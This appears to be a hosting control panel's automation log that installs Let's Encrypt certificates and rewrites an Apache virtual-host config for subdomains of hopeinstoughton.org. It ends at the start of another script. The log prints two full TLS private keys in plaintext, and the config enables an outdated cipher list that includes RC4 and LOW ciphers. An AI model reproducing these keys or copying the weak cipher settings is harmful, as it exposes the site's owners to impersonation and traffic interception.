chmod 755 /tmp/pkp994971; /tmp/pkp994971; rm /tmp/pkp994971
2025-11-03 06:01:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7 5378
8a:dc:40:15:0b:97:ea:a8:de:89:ed:1e:b6:9d:e2:fa
-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBtwwFXN1JRqwHZENRPtBH5XtMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMjM4WhcNMjYwMjAxMDUwMjM3WjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA2A+2DCL0kDq6q8+mJ31W2Rsf5acj6NImovE+G7/qNkiiE2H1
A7N2N+XMfUewQihRJmcAwEQseBG5BFzWw9PmHt8w3vBlOeD072228sTl9MJEcxan
NSJ4nnzqMu/o3HR6Ej744E2ri42LeVdO79SU8o3+G2/rDRE9hh9lJzuTteWH+ZlQ
HfJhCRO4jmpteDvFalYY13dmsHAMzs+Xc+e6fUMD2T62x68u9Pnd7pSWQnpbJJli
DtPBwYRdmjv4mjxbU1fF3UM9Qa5hH6HahaEOPkuiYuiJx0YLDZKMFntVvKAYnWKA
wqy1NJdZpVZbD3QH6gsmm+Nk3SBHP/r2G8dQnQIDAQABo4ICKzCCAicwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSjBeqclzpSUXGMCjh9nDCQo5T64TAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1peGVyLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMTAuY3JsMIIBBQYKKwYB
BAHWeQIEAgSB9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd
+MMAAAGaSE4VdQAABAMASDBGAiEAr3XI46T2m5rXRazJZlWvoGVxXeRUn+IHdWv8
GfiO1oICIQDh5IpUXwfltQr/fIPROUNvd3KZEtFjXg61SXIXuPWzdQB2ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmkhOFXUAAAQDAEcwRQIgdoAc
a7hfK9n7wLk1fxH1GySw8qkSXOImUg+bWStQSrICIQDVmc858EKEiZtjOSJgVi6e
YywlhRe68nU5prt7C/DzqDANBgkqhkiG9w0BAQsFAAOCAQEABEfBSYbWuSYeNKsC
ih2yR/XVmF6EsO6VOUMWuK4CCdmEsQAA+wEJpgxhw4wSRS2BPb8UOI+IUnPtJ6vR
zR+gU/QiSzTPR5eHQ0L/1tSZsTnzOTOqoL5GJWSBovQrufwVBaK9tUNY3Xj1QsFs
UgJnilGug52mJCM8bf6tIN7dsuAC8aIPA6Uu7Slx04cNMxHb/Ds4Sk53AT51OkxJ
vV/EdL4VB9O9hEugKMqx1GTkZNRka5HroXiXxtYXiGt+2U9h0idsXvEk1mUaDXCv
tPFnJ25xZCSEgI5O4JR8YWxRD3Rb4Tri9Fe+CZGv8NRTdBdiXAZUG43Z49vDuebN
KPmbRg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDYD7YMIvSQOrqr
z6YnfVbZGx/lpyPo0iai8T4bv+o2SKITYfUDs3Y35cx9R7BCKFEmZwDARCx4EbkE
XNbD0+Ye3zDe8GU54PTvbbbyxOX0wkRzFqc1IniefOoy7+jcdHoSPvjgTauLjYt5
V07v1JTyjf4bb+sNET2GH2UnO5O15Yf5mVAd8mEJE7iOam14O8VqVhjXd2awcAzO
z5dz57p9QwPZPrbHry70+d3ulJZCelskmWIO08HBhF2aO/iaPFtTV8XdQz1BrmEf
odqFoQ4+S6Ji6InHRgsNkowWe1W8oBidYoDCrLU0l1mlVlsPdAfqCyab42TdIEc/
+vYbx1CdAgMBAAECggEAK7qCTdKFTOuV/E/6gOONQEONIR3C1swxpajNuTAOZw4s
P2AEBsu7kXSg/noT4k/mnK8cJ82kcmij2Y4wqVGpsXXankRpOF2fNRYvgNL496CZ
2fErxkVDxE/j1otXxcaNLkQwerU9kvEC2XwiLcgInU6/ry3nlK14ljykbFxSeO2s
IHqO2XWzitC7BklnN+t909FM/Jm9oHc8j8GS0IY+brhADwkj7T0HTViDImxmvgPo
67kcGHoSmw9JZZcePFx8wnZxzLAOj2djYMtLqNCxwYFuAnZMPRoTqXBInQSL6Hk+
50PTc79/AGmNVp7ry6Hxk6xf6yxwRuMhTF/A+DjuAQKBgQD/jAli8Hy3qVjJvUfQ
ozjO/N0lYW46dFQCNlgLfCj2AR4Lg1h6s00uiY0X9kq56EFneY4xLZa4NpcRaQLr
thATEqTL1+fIuL9offixvhJQHmBj2Ee74kg+3Hz33Scvb9yyZJvT6Sq2w4n4WfZN
WG6pjCfbeJId86EfFDh59v0R2QKBgQDYccGoPIDWJAxYSwctU+DiD02z4zkmK6Yi
jCaXC1V8IOrwKn0u/JYaKLn3KvEOfJpmjQzkkv3Tth+MBVzMSKL/FgWngmNEXyFA
u+9Tn8rBeqV2q0dGkmsZolcBl+DK82s/TWnTnOzJozj3D9kPDiXY2q9YRVs/ILUK
OfHIkte2ZQKBgQCXO8feTtZwVv9dvPAAUGhxTwKNecCjRW7mNEUc3uja1cRzKdM2
ImC99teSY8bLiOEUHMMC5aj58gyrWAtLdd7DetgebvMUPgnBDDQe9I6f7ao7zKZ/
UaZR1Wj7w1zKXRguVw5Fdgs6SDShzpPOKFStcG2yHAPVR/aFjxDxVTNl2QKBgEv9
fFE1lMIZ+9+Pz+BBH6YeW1h5wRm+n2BntjC3gPbIk9NoB3VUptpeTBQUFnfQlWDF
yq4BUW5f9alyRIdQRTGrqKaL55Acmg8hLEA+zK+rAKauMaL8Su/ACC3+BaUbWx7p
besmoBeW36wV+04G2JDPDlq+Vu/N6uHBQDr8GxHlAoGBALL7GseUyXwldW248Sjx
AdfFxpIDxaec/tSfZF7P8Uj+du68cTGB/xBc4jx84LIsia8716JngAMeOWFFvcGQ
yFqzrV7kLAO67yHWVgXk3lMnqqu7y6H3aOTW+0ZaEO9lLYKDLiuYZ+QszINmk4r6
yvU4uZSjDWtGnsJf/q0B/Mje
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-03 06:01:16: Establishing a connection
2025-11-03 06:01:17: Establishing a connection
2025-11-03 06:01:18:
PUT: /tmp/pkp282428
#!/bin/bash
if [ -d "/var/www/cygnus/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-03 06:01:19:
chmod 755 /tmp/pkp282428; /tmp/pkp282428; rm /tmp/pkp282428
2025-11-03 06:01:19:
0
2025-11-03 06:01:44: Establishing a connection
2025-11-03 06:01:45:
PUT: /tmp/pkp228494
#!/bin/bash
temp_file=$(mktemp)
TARGET=de5c0e727038623f544d9b5f10eaf734
cat > $temp_file <<'endmsg'
8c:0b:d4:f5:7c:b5:fc:7e:92:6e:1b:72:77:2b:c6:3f
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBpIQx/XDE7orjtnzp/Ygjna2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMzEzWhcNMjYwMjAxMDUwMzEyWjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAMsdki5+ZFY1t20BfhbA3v7egkddFeUCzSt7tuTZE0oYn0eF
rjI92hNOkbffZ/FtrTiLW7tDXm4nTOl7IHIA8Tw/JNp2HpmzY0Jekcj7d8U9uOVQ
ctcuEQycb0ZsAFYfxAX3h66Eku/k1lLk65uHVLuvnqQJ6qHL/XtOdLqRv4PEkH3A
Dp5PT8jWIuVtTOnriOcX4duCGkm6TG4engDwCPO/5kN19Am1hPIceI2Dht1ejc62
Xi5ztZRgYcZmekj6LqSpYl4BwVYbIzw8YEkWl06kdrNNwy0ve/5EhAe1yyJm/oaz
x4Xp7OFXge//muCeuUT/WmAJsP484JKUk1zW860CAwEAAaOCAigwggIkMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUeBFcvfCnSNEh7OcMTqsVFhId+p8wHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzU1LmNybDCCAQIGCisG
AQQB1nkCBAIEgfMEgfAA7gB1AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp
3fjDAAABmkhOoCMAAAQDAEYwRAIgMT+tXbcqmDA8ePoczSBwF8BqdklvCkqfTlA4
kxD8/RACIBJnp/QuCJUG/oGpiz5tJAjI9BbrnU8t+veotpv/VR4lAHUADleUvPOu
qT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGaSE6gOQAABAMARjBEAiB5vtmb
fDB0SPC2d5b/Tj6mCiPgN6NNlyNjZUqkx2lb4QIgBMDFGuamKuEPYsP341TQQQS1
Sdr5xlE27yLEHx0HeEUwDQYJKoZIhvcNAQELBQADggEBABBLCQUVNGyWtr7AHoFn
uzL+0EyyXxWzg8FEHAHNxap+Gw6Iao5f7D/9q2WuCtuBfncce02OLdvpraptvo7B
kbZ79JjhpjRFFzlf4k/ryvOchqanhwxq+1D3tTwRu3Jz1q+Ab+bIi3ZlO4nhcfS5
qW1fLDj30AZ/lS6liLRZL03V2fM1O6OHdJMdzEstbMt79jzI+asQA6TZTkeXz66c
SK8jqNNfkSoYbg8EQ4n+Ls6LtbBfw0c/unnfGf76oLQ0+UAl6lx6ZllywL4C+zoC
EmTsQBZkp83DEVVt5FoOztTxsCsz9YOGFAPfEIlzRB33gcODnDNt28nldGz71vPJ
TwE=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDLHZIufmRWNbdt
AX4WwN7+3oJHXRXlAs0re7bk2RNKGJ9Hha4yPdoTTpG332fxba04i1u7Q15uJ0zp
eyByAPE8PyTadh6Zs2NCXpHI+3fFPbjlUHLXLhEMnG9GbABWH8QF94euhJLv5NZS
5Oubh1S7r56kCeqhy/17TnS6kb+DxJB9wA6eT0/I1iLlbUzp64jnF+HbghpJukxu
Hp4A8Ajzv+ZDdfQJtYTyHHiNg4bdXo3Otl4uc7WUYGHGZnpI+i6kqWJeAcFWGyM8
PGBJFpdOpHazTcMtL3v+RIQHtcsiZv6Gs8eF6ezhV4Hv/5rgnrlE/1pgCbD+POCS
lJNc1vOtAgMBAAECggEBAKz4F76kP8nyoKuhc8Doqn4c+pDPQo/tnM8E4bFs8rJM
2YdM3hVG+ukqJYmSJLBCmBrpAkssicQAj8zc37p19vk5RKcNo+18CHFCm5+uFkbP
0x7lLYb1Yet9ZH1yB69QCdyS+OazW3YTSDj7XXDrBEt4uP40u6zhTJGvNFSVPaR1
Qa0z3YA9APaNV8nwWJWw22UxPoHTdQaoszgHFALGBkiViQp7RLHUXEE8XmbKH4kx
+LKVRA6ttdlM6mTFugqa9R20gJNmi4KfpKrFRhTSHpiRVNcicDUIqy9LkVwM209M
SuOpovWLQ1oakX4n1DO/HqTQBZgbHr9LqzRslWnIVgECgYEA6FAcn+4ViTinCRCW
+gkC8FheFQF6C5VtugXHzBBvi17y5N7ZG76/tlOpWEEcXUfe4S5EbVqlKLW/jRkv
ok64T7e4raXUEblmxZN2hjaXn1oEWk9Q3zmP+GENHzV2At85JVWqBqRIbSKnlmL4
oEg09SdiTC2XzbuTz/Zy+gkwHG0CgYEA39NXS1TVB9aQvPBeIguWqHliWJNh/sly
RwyUYJh33LZxUC3aDF5Urx4J4kbqHpsY3KsYo2PZPqXKutEMGSzwYSy6jPW4uQKV
5KSzK3Hul1KmYSNlq2V+6KW59Hgh0q7wQzmDL8VkbtAGwPPoTKiZYu1DeDq3bomz
qu8oIa2RLEECgYEAmT5XU4w6+pS7YrhlzzPok2DHVvXtavy8L+ymOk9RNU+BzEXQ
U4QFdKFFYSk6K7JALKxXiQc1UWBqpgnKKTfiTvuzQCDWfoada5F1qt0SMZSwsF4H
y+httvtWK5MZcJWNXbpfeRgfipZElGhe92QKQvki13tv2s90lsdMWvF6ohUCgYEA
v9MZ4nb+6GvMuhDrLBRwd00oqy8M8lbleNzgIXUqbN9zd7sEQEtsGnUNFX+fUMGt
6hk80XNWkal3eOqGiuEH1tCFxR8mxHDh1AYPhDFtwQTVkTTMArvGq061cz6uBill
wsd8lil/LLVexGmFcoWgh7c+dsEjyjl74Qh8hXiCjcECgYAXV0r9Q5yGZGsXNNRa
c1/dYN0IW6aQpz3sDlZrkdCAkb8XAV1WT+1HcGtmn+2eB2IYpBYRPJDg1zDAfAvT
Xa56GdT8QVos7fRaodmNtqd0S0GJt1zgSdBT9Kb4HJ5gus1M4dpWcQw26I2pDb72
5Xq+kNGX4s7zQwGf826H9yzWyw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-03 06:01:46:
chmod 755 /tmp/pkp228494; /tmp/pkp228494; rm /tmp/pkp228494
2025-11-03 06:01:46:
dir=/etc/ssl/certs
2025-11-03 06:01:46:
PUT: /tmp/pkp626900
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-03 06:01:46:
chmod 755 /tmp/pkp626900; /tmp/pkp626900; rm /tmp/pkp626900
2025-11-03 06:01:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf 50
<VirtualHost *:80>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cygnus_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
</VirtualHost>
<VirtualHost *:443>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /qwerty/(.*) ws://192.168.1.19/$1 [P,L]
#<Location /qwerty/>
# ProxyHTMLEnable On
# ProxyHTMLExtended On
# ProxyPassReverse /
# SetOutputFilter proxy-html
# ProxyHTMLURLMap / ./
#</Location>
# ProxyPass /qwerty/ http://192.168.1.19/
# ProxyPassReverse /qwerty/ http://192.168.1.19/
CustomLog /var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
</VirtualHost>
2025-11-03 06:01:46:
PUT: /tmp/pkp513090
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cygnus_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cygnus_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
</VirtualHost>
<VirtualHost *:443>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /qwerty/(.*) ws://192.168.1.19/$1 [P,L]
#<Location /qwerty/>
# ProxyHTMLEnable On
# ProxyHTMLExtended On
# ProxyPassReverse /
# SetOutputFilter proxy-html
# ProxyHTMLURLMap / ./
#</Location>
# ProxyPass /qwerty/ http://192.168.1.19/
# ProxyPassReverse /qwerty/ http://192.168.1.19/
CustomLog /var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf= 1'
fi
2025-11-03 06:01:47:
chmod 755 /tmp/pkp513090; /tmp/pkp513090; rm /tmp/pkp513090
2025-11-03 06:01:47:
2025-11-03 06:01:47:
PUT: /tmp/pkp250267
#!/bin/bash
